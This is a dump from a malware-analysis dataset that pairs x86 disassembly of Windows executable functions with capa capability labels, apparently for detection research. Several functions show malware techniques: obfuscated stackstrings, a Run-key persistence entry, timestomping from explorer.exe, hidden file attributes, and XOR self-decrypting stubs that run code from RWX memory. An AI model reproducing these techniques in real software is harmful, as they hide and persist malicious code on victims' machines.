joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001060
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x344
call fcn.10001000
call fcn.10001000
call fcn.10001000
call fcn.10001000
call fcn.10001000
call fcn.100016a0
test eax, eax
jne 0x10001092
or eax, 0xffffffff
add esp, 0x344
ret
push ebx
push edi
xor ebx, ebx
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x14d]
mov byte [esp + 0x14c], bl
mov byte [esp + 0x10], 0x61
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, 0x70
mov byte [esp + 0x13], 0x64
mov byte [esp + 0x11], al
mov byte [esp + 0x12], al
mov byte [esp + 0x14], 0x61
mov byte [esp + 0x15], 0x74
mov byte [esp + 0x16], 0x61
mov byte [esp + 0x17], bl
mov byte [esp + 0x18], bl
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], bl
call fcn.10001000
mov cl, 0x72
mov al, 0x6f
mov byte [esp + 0x1f], cl
mov byte [esp + 0x20], al
mov byte [esp + 0x22], al
mov byte [esp + 0x39], al
mov byte [esp + 0x3c], cl
mov byte [esp + 0x44], cl
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x4d]
mov byte [esp + 0x4c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x4c]
push 0x104
lea ecx, [esp + 0x14]
mov dl, 0x69
push eax
push ecx
mov byte [esp + 0x28], 0x4d
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x63
mov byte [esp + 0x2d], 0x73
mov byte [esp + 0x2f], 0x66
mov byte [esp + 0x30], 0x74
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], bl
mov byte [esp + 0x44], 0x50
mov byte [esp + 0x46], 0x77
mov byte [esp + 0x47], 0x65
mov byte [esp + 0x49], 0x20
mov byte [esp + 0x4a], 0x4d
mov byte [esp + 0x4b], 0x61
mov byte [esp + 0x4c], 0x6e
mov byte [esp + 0x4d], 0x61
mov byte [esp + 0x4e], 0x67
mov byte [esp + 0x4f], 0x65
mov byte [esp + 0x51], bl
mov byte [esp + 0x52], bl
mov byte [esp + 0x53], bl
mov byte [esp + 0x54], bl
mov byte [esp + 0x14], 0x75
mov byte [esp + 0x15], 0x74
mov byte [esp + 0x16], dl
mov byte [esp + 0x17], 0x6c
mov byte [esp + 0x18], bl
mov byte [esp + 0x19], bl
call dword [0x1000bd24]
call fcn.10001000
mov al, 0x25
mov cl, 0x5c
mov byte [esp + 0x28], al
mov byte [esp + 0x29], 0x73
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2b], al
mov byte [esp + 0x2c], 0x73
mov byte [esp + 0x2e], al
lea edx, [esp + 8]
mov byte [esp + 0x2d], cl
lea eax, [esp + 0x1c]
push edx
lea ecx, [esp + 0x50]
push eax
lea edx, [esp + 0x30]
push ecx
lea eax, [esp + 0x158]
push edx
push eax
mov byte [esp + 0x43], 0x73
mov byte [esp + 0x44], 0x2e
mov byte [esp + 0x45], 0x65
mov byte [esp + 0x46], 0x78
mov byte [esp + 0x47], 0x65
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], bl
call fcn.10001b61
call fcn.10001000
lea ecx, [esp + 0x160]
push ecx
call fcn.10001250
lea edx, [esp + 0x20]
push ebx
lea eax, [esp + 0x54]
push edx
lea ecx, [esp + 0x16c]
push eax
push ecx
call fcn.10001440
add esp, 0x28
pop edi
pop ebx
add esp, 0x344
ret
Function at 0x10001250
Capabilities:
Contain obfuscated stackstrings
Get file attributes
Set file attributes
Timestomp file

Disassembly:
sub esp, 0x45c
push ebx
push esi
push edi
call fcn.10001000
call fcn.10001000
call fcn.10001000
call fcn.10001000
xor ebx, ebx
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x5a]
mov word [esp + 0x58], bx
push 0x104
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x470]
stosw word es:[edi], ax
lea eax, [esp + 0x5c]
push eax
push ecx
call fcn.10001630
add esp, 0xc
call fcn.10001000
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x262]
mov word [esp + 0x260], bx
rep stosd dword es:[edi], eax
lea edx, [esp + 0x260]
push 0x104
push edx
push ebx
stosw word es:[edi], ax
call dword [0x1000bd18]
lea eax, [esp + 0x58]
push 1
lea ecx, [esp + 0x264]
push eax
push ecx
call dword [0x1000bd1c]
push ebx
mov edx, 0x6e
push 0x80
mov eax, 0x6f
push 3
mov word [esp + 0x22], dx
mov word [esp + 0x2e], dx
push ebx
mov word [esp + 0x2a], ax
mov word [esp + 0x34], ax
push 1
lea edx, [esp + 0x20]
mov esi, 0x5c
mov ecx, 0x64
mov eax, 0x65
push 0x80000000
push edx
mov word [esp + 0x28], 0x43
mov word [esp + 0x2a], 0x3a
mov word [esp + 0x2c], si
mov word [esp + 0x2e], 0x57
mov word [esp + 0x30], 0x69
mov word [esp + 0x34], cx
mov word [esp + 0x38], 0x77
mov word [esp + 0x3a], 0x73
mov word [esp + 0x3c], si
mov word [esp + 0x42], 0x74
mov word [esp + 0x44], ax
mov word [esp + 0x46], 0x70
mov word [esp + 0x48], 0x61
mov word [esp + 0x4a], cx
mov word [esp + 0x4c], 0x2e
mov word [esp + 0x4e], ax
mov word [esp + 0x50], 0x78
mov word [esp + 0x52], ax
mov word [esp + 0x54], bx
mov word [esp + 0x56], bx
mov word [esp + 0x58], bx
mov word [esp + 0x5a], bx
call dword [0x1000bd28]
mov esi, eax
lea eax, [esp + 0x50]
lea ecx, [esp + 0x48]
push eax
lea edx, [esp + 0x44]
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
call dword [0x1000bd20]
call fcn.10001000
push ebx
push ebx
push 3
push ebx
push 3
lea eax, [esp + 0x6c]
push 0x40000000
push eax
call dword [0x1000bd28]
mov edi, eax
call fcn.10001000
lea ecx, [esp + 0x50]
lea edx, [esp + 0x48]
push ecx
lea eax, [esp + 0x44]
push edx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
lea ecx, [esp + 0x58]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
call fcn.10001000
or esi, 6
lea edx, [esp + 0x58]
push esi
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push edi
call dword [0x1000bd20]
pop edi
pop esi
pop ebx
add esp, 0x45c
ret
Function at 0x10001440
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x140
push ebx
push esi
push edi
call fcn.10001000
call fcn.10001000
mov dl, 0x66
mov bl, 0x5c
mov byte [esp + 0x12], dl
mov byte [esp + 0x18], bl
mov byte [esp + 0x20], dl
mov byte [esp + 0x22], bl
mov byte [esp + 0x2a], bl
mov byte [esp + 0x39], bl
mov cl, 0x6f
mov al, 0x72
mov dl, 0x6e
xor ebx, ebx
mov byte [esp + 0x10], 0x53
mov byte [esp + 0x11], cl
mov byte [esp + 0x13], 0x74
mov byte [esp + 0x14], 0x77
mov byte [esp + 0x15], 0x61
mov byte [esp + 0x16], al
mov byte [esp + 0x17], 0x65
mov byte [esp + 0x19], 0x4d
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x63
mov byte [esp + 0x1c], al
mov byte [esp + 0x1d], cl
mov byte [esp + 0x1e], 0x73
mov byte [esp + 0x1f], cl
mov byte [esp + 0x21], 0x74
mov byte [esp + 0x23], 0x57
mov byte [esp + 0x24], 0x69
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], 0x64
mov byte [esp + 0x27], cl
mov byte [esp + 0x28], 0x77
mov byte [esp + 0x29], 0x73
mov byte [esp + 0x2b], 0x43
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x2d], al
mov byte [esp + 0x2e], al
mov byte [esp + 0x2f], 0x65
mov byte [esp + 0x30], dl
mov byte [esp + 0x31], 0x74
mov byte [esp + 0x32], 0x56
mov byte [esp + 0x33], 0x65
mov byte [esp + 0x34], al
mov byte [esp + 0x35], 0x73
mov byte [esp + 0x36], 0x69
mov byte [esp + 0x37], cl
mov byte [esp + 0x38], dl
mov byte [esp + 0x3a], 0x52
mov byte [esp + 0x3b], 0x75
mov byte [esp + 0x3c], dl
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], bl
call fcn.10001000
mov edi, dword [esp + 0x15c]
xor eax, eax
cmp edi, ebx
lea ecx, [esp + 0xc]
setne al
push ecx
push 0x20007
lea edx, [esp + 0x18]
add eax, 0x80000001
push ebx
push edx
push eax
call dword [0x1000bd2c]
test eax, eax
jne 0x10001621
mov ecx, 0x40
lea edi, [esp + 0x49]
mov byte [esp + 0x48], bl
mov dword [esp + 0x40], 1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [esp + 0x44], 0x104
call fcn.10001000
mov edi, dword [esp + 0x154]
lea eax, [esp + 0x44]
lea ecx, [esp + 0x48]
push eax
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x44]
push ecx
push edx
push ebx
push edi
push eax
call dword [0x1000bd30]
mov esi, dword [esp + 0x150]
test eax, eax
jne 0x100015ef
call fcn.10001000
lea ecx, [esp + 0x48]
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x100015ef
mov edx, dword [esp + 0xc]
push edx
call dword [0x1000bd34]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x140
ret
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x10]
push esi
push 1
push ebx
push edi
push eax
call dword [0x1000bd38]
mov ecx, dword [esp + 0xc]
push ecx
call dword [0x1000bd34]
pop edi
pop esi
mov eax, 2
pop ebx
add esp, 0x140
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x140
ret
Function at 0x403015
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x403024
pop dword [ebp - 0x1c]
mov eax, 0x403024
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xe5ec662b
add dword [ebp - 0x2c], 0x6865df20
mov dword [ebp - 0x28], 0x48b9c8b4
sub dword [ebp - 0x28], 0x16867c6f
mov dword [ebp - 0x24], 0x3bef49d4
add dword [ebp - 0x24], 0x105cfa5a
mov dword [ebp - 0x20], 0xea64ec6a
add dword [ebp - 0x20], 0x159b1396
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x877b7964
add eax, 0x78c50714
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xb7b18d0c
add dword [ebp - 0x2c], 0xbcc0dc4a
mov dword [ebp - 0x28], 0x95474a6f
add dword [ebp - 0x28], 0xac251706
mov dword [ebp - 0x24], 0x3f25b5c4
add dword [ebp - 0x24], 0x2449b6a8
mov dword [ebp - 0x20], 0xa138cf6e
add dword [ebp - 0x20], 0x5ec73092
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xa5076bd4
sub eax, 0xa4c6eb58
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3346c
push 0
call eax
mov ecx, 0x968940e9
add ecx, 0x6976f80b
mov edx, eax
mov ebx, 0x9eb9973f
add ebx, 0x618b7cc1
add ebx, dword [ebp - 0x1c]
mov edi, 0xa0f85566
add edi, 0xc9327dc1
add dword [ebp - 0xc], esi
mov esi, dword [ebx]
add dword [ebp - 0x10], 0x1c6ca228
xor esi, edi
add dword [ebp - 4], eax
mov dword [edx], esi
add dword [ebp - 0xc], edi
add edx, 0x987d6545
add edx, 0x67829abf
add ebx, 4
loop 0x403141
add eax, 0x57429102
add eax, 0xa8be45a1
xor ebx, ebx
add ebx, eax
add eax, 0x23363485
sub eax, 0x23363480
mov ecx, 0x400000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x408ef0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov esi, edx
mov ebx, eax
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.00408ea4
test al, al
jne 0x408f11
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x408f5d
xor eax, eax
push ebp
push 0x408f4d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004033e8
push eax
call sub.kernel32.dll_DeleteFileA
mov dword [ebp - 4], eax
call sub.kernel32.dll_GetLastError_1
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408f54
lea eax, [ebp - 0xc]
call fcn.00408ee0
ret
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409264
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov esi, eax
xor eax, eax
push ebp
push 0x409353
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
call fcn.00406c28
mov edx, dword [ebp - 8]
mov ecx, 0x40936c
xor eax, eax
call fcn.00409158
push 0
mov eax, dword [ebp - 4]
call fcn.004033e8
push eax
call sub.kernel32.dll_CreateDirectoryA
test eax, eax
jne 0x409321
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
cmp ebx, 0xb7
je 0x409284
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x18]
mov edx, dword [ebp - 4]
mov al, 0x2f
call fcn.00408d0c
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.00404bb8
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x20]
mov eax, ebx
call fcn.004071b8
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x14]
mov ecx, 2
mov al, 0x60
call fcn.00408cdc
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, 0x404584
call fcn.004057b4
call fcn.00402e88
jmp 0x409284
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00403200
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40935a
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.0040318c
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040318c
ret

Function at 0x40937c
Capabilities:
Shutdown system

Disassembly:
add esp, 0xffffffec
cmp dword [0x40b07c], 2
jne 0x4093e3
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
jne 0x40939e
xor eax, eax
jmp 0x4093f2
lea eax, [esp + 8]
push eax
push 0x4093f8
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
mov dword [esp + 4], 1
mov dword [esp + 0x10], 2
push 0
push 0
push 0
lea eax, [esp + 0x10]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError_1
test eax, eax
je 0x4093e3
xor eax, eax
jmp 0x4093f2
push 0
push 2
call sub.user32.dll_ExitWindowsEx
neg eax
sbb eax, eax
neg eax
add esp, 0x14
ret
Function at 0x40940c
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
mov esi, ecx
dec esi
test esi, esi
jl 0x409466
inc esi
xor edi, edi
cmp edi, 1
jne 0x409432
mov eax, dword [ebp + 0xc]
push eax
call sub.kernel32.dll_Sleep
jmp 0x409440
cmp edi, 1
jle 0x409440
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_Sleep
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00408ef0
test eax, eax
jne 0x409466
call sub.kernel32.dll_GetLastError_1
cmp eax, 2
je 0x409466
call sub.kernel32.dll_GetLastError_1
cmp eax, 3
je 0x409466
inc edi
dec esi
jne 0x409422
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x4096f8
Capabilities:
Identify system language via api

Disassembly:
push ebx
push esi
push edi
push ebp
cmp dword [0x40cca4], 0
je 0x409741
mov edi, dword [0x40cdec]
dec edi
test edi, edi
jl 0x409741
inc edi
xor esi, esi
mov eax, esi
shl eax, 6
add eax, esi
mov edx, dword [0x40cde8]
mov edx, dword [edx + eax]
mov eax, dword [0x40cca4]
call fcn.00404b64
test eax, eax
jne 0x40973d
mov eax, esi
call fcn.004096ac
jmp 0x409806
inc esi
dec edi
jne 0x409713
mov al, byte [0x40cdcc]
sub al, 1
jb 0x40974e
je 0x409757
jmp 0x409760
call fcn.00406f58
mov ebp, eax
jmp 0x409762
call sub.kernel32.dll_GetUserDefaultLangID
mov ebp, eax
jmp 0x409762
xor ebp, ebp
test bp, bp
je 0x4097ff
mov edi, dword [0x40cdec]
dec edi
test edi, edi
jl 0x4097ae
inc edi
xor esi, esi
mov eax, esi
shl eax, 6
add eax, esi
mov edx, dword [0x40cde8]
lea ebx, [edx + eax]
movzx eax, bp
cmp eax, dword [ebx + 0x28]
jne 0x4097aa
cmp dword [ebx + 0x2c], 0
je 0x4097a1
call sub.kernel32.dll_GetACP
cmp eax, dword [ebx + 0x2c]
jne 0x4097aa
mov eax, esi
call fcn.004096ac
jmp 0x409806
inc esi
dec edi
jne 0x409779
mov edi, dword [0x40cdec]
dec edi
test edi, edi
jl 0x4097ff
inc edi
xor esi, esi
mov eax, esi
shl eax, 6
add eax, esi
mov edx, dword [0x40cde8]
lea ebx, [edx + eax]
mov eax, dword [ebx + 0x28]
and eax, 0x3ff
mov edx, ebp
and dx, 0x3ff
movzx edx, dx
cmp eax, edx
jne 0x4097fb
cmp dword [ebx + 0x2c], 0
je 0x4097f2
call sub.kernel32.dll_GetACP
cmp eax, dword [ebx + 0x2c]
jne 0x4097fb
mov eax, esi
call fcn.004096ac
jmp 0x409806
inc esi
dec edi
jne 0x4097bc
xor eax, eax
call fcn.004096ac
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x409898
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40996b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409984
push ebx
push 0x409990
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.00403388
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00402750
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004033e8
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409918
mov al, 0x62
call fcn.00409470
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040986c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409921
call fcn.0040986c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409972
lea eax, [ebp - 4]
call fcn.0040316c
ret

Function at 0x409a24
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ad8
jmp 0x409acd
cmp dword [esi + 0x10], 0x1000
jne 0x409ab9
test byte [esi + 0x15], 1
jne 0x409ab9
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409a78
cmp eax, 2
je 0x409a78
cmp eax, 0x10
je 0x409a78
cmp eax, 0x20
jne 0x409a8d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409a8d
mov bl, 1
xor ebp, ebp
jmp 0x409a9e
mov eax, dword [esi]
add eax, ebp
call fcn.00409a1c
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409a91
test bl, bl
je 0x409ab9
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ad8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409a50
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x4702b0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00402c93
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.00406488
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x4702b0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x4702b0], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x4030bb
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
test edi, edi
jne 0x4030db
mov dword [ebp - 8], 0x8000
and dword [ebp - 4], 0
mov ebx, edi
test edi, edi
jne 0x4030ea
mov ebx, 0x4226a0
mov eax, dword [ebp + 8]
test eax, eax
jl 0x4030ff
mov ecx, dword [0x470258]
add ecx, eax
push ecx
call fcn.004032b6
lea eax, [ebp + 0x14]
push 4
push eax
call fcn.004032a0
test eax, eax
je 0x403257
test byte [ebp + 0x17], 0x80
je 0x403240
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x41e610
mov dword [ebp - 0xc], eax
call fcn.004065a7
and dword [ebp + 0x14], 0x7fffffff
mov eax, dword [ebp + 0x14]
mov dword [ebp + 8], eax
jle 0x403296
mov esi, 0x4000
cmp dword [ebp + 0x14], esi
jge 0x40314f
mov esi, dword [ebp + 0x14]
mov edi, 0x41e6a0
push esi
push edi
call fcn.004032a0
test eax, eax
je 0x403257
sub dword [ebp + 0x14], esi
mov dword [0x41e628], edi
mov dword [0x41e62c], esi
mov eax, dword [ebp - 8]
mov ecx, 0x41e610
mov dword [0x41e630], ebx
mov dword [0x41e634], eax
call fcn.004065c7
test eax, eax
mov dword [ebp - 0x10], eax
jl 0x403238
mov esi, dword [0x41e630]
sub esi, ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test byte [0x4702b4], 1
mov edi, eax
je 0x4031f7
sub eax, dword [ebp - 0xc]
cmp eax, 0xc8
ja 0x4031be
cmp dword [ebp + 0x14], 0
jne 0x4031f7
mov eax, dword [ebp + 8]
push dword [ebp + 8]
sub eax, dword [ebp + 0x14]
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
push eax
lea eax, [ebp - 0x90]
push str....__d__
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x90]
push eax
push 0
call fcn.0040520d
mov dword [ebp - 0xc], edi
test esi, esi
je 0x40322c
cmp dword [ebp + 0x10], 0
jne 0x403214
push esi
push ebx
push dword [ebp + 0xc]
call fcn.00405d35
test eax, eax
je 0x40323c
add dword [ebp - 4], esi
jmp 0x403220
add dword [ebp - 4], esi
sub dword [ebp - 8], esi
mov ebx, dword [0x41e630]
cmp dword [ebp - 0x10], 1
jne 0x403172
jmp 0x403296
cmp dword [ebp + 0x14], 0
jg 0x403142
jmp 0x403296
push 0xfffffffffffffffc
jmp 0x403259
push 0xfffffffffffffffe
jmp 0x403259
test edi, edi
je 0x40328b
cmp dword [ebp + 0x14], esi
jge 0x40324c
mov esi, dword [ebp + 0x14]
push esi
push edi
call fcn.004032a0
test eax, eax
jne 0x403293
push 0xfffffffffffffffd
pop eax
jmp 0x403299
mov esi, dword [ebp - 8]
cmp dword [ebp + 0x14], esi
jge 0x403267
mov esi, dword [ebp + 0x14]
mov edi, 0x41e6a0
push esi
push edi
call fcn.004032a0
test eax, eax
je 0x403257
push esi
push edi
push dword [ebp + 0xc]
call fcn.00405d35
test eax, eax
je 0x40323c
add dword [ebp - 4], esi
sub dword [ebp + 0x14], esi
cmp dword [ebp + 0x14], 0
jg 0x40325c
jmp 0x403296
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x4056dc
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, 0x4083f8
and byte [ebp - 0x1f], 0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push esi
push eax
mov byte [ebp - 0x20], 1
push dword [ebp + 8]
mov word [ebp - 0x1e], 4
mov dword [ebp - 0x10], 0x4083e8
mov dword [ebp - 0xc], 0xc
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x40572d
xor eax, eax
jmp 0x405754
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0xb7
jne 0x405754
lea eax, [ebp - 0x20]
push eax
push 0x80000007
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityW]
test eax, eax
jne 0x405729
call esi
pop esi
leave
ret 4

Function at 0x40578e
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x45e6f0], 0x44
push eax
xor eax, eax
push 0x45e6f0
push eax
push eax
push 0x4000000
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4057cd
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x405857
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.00405c5e
mov edi, eax
cmp edi, 0xffffffff
je 0x405898
test byte [esp + 0x10], 1
push esi
je 0x40587a
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x405880
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x405889
xor eax, eax
inc eax
jmp 0x40589a
test byte [esp + 0x10], 4
jne 0x405898
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, eax
pop edi
pop esi
ret 8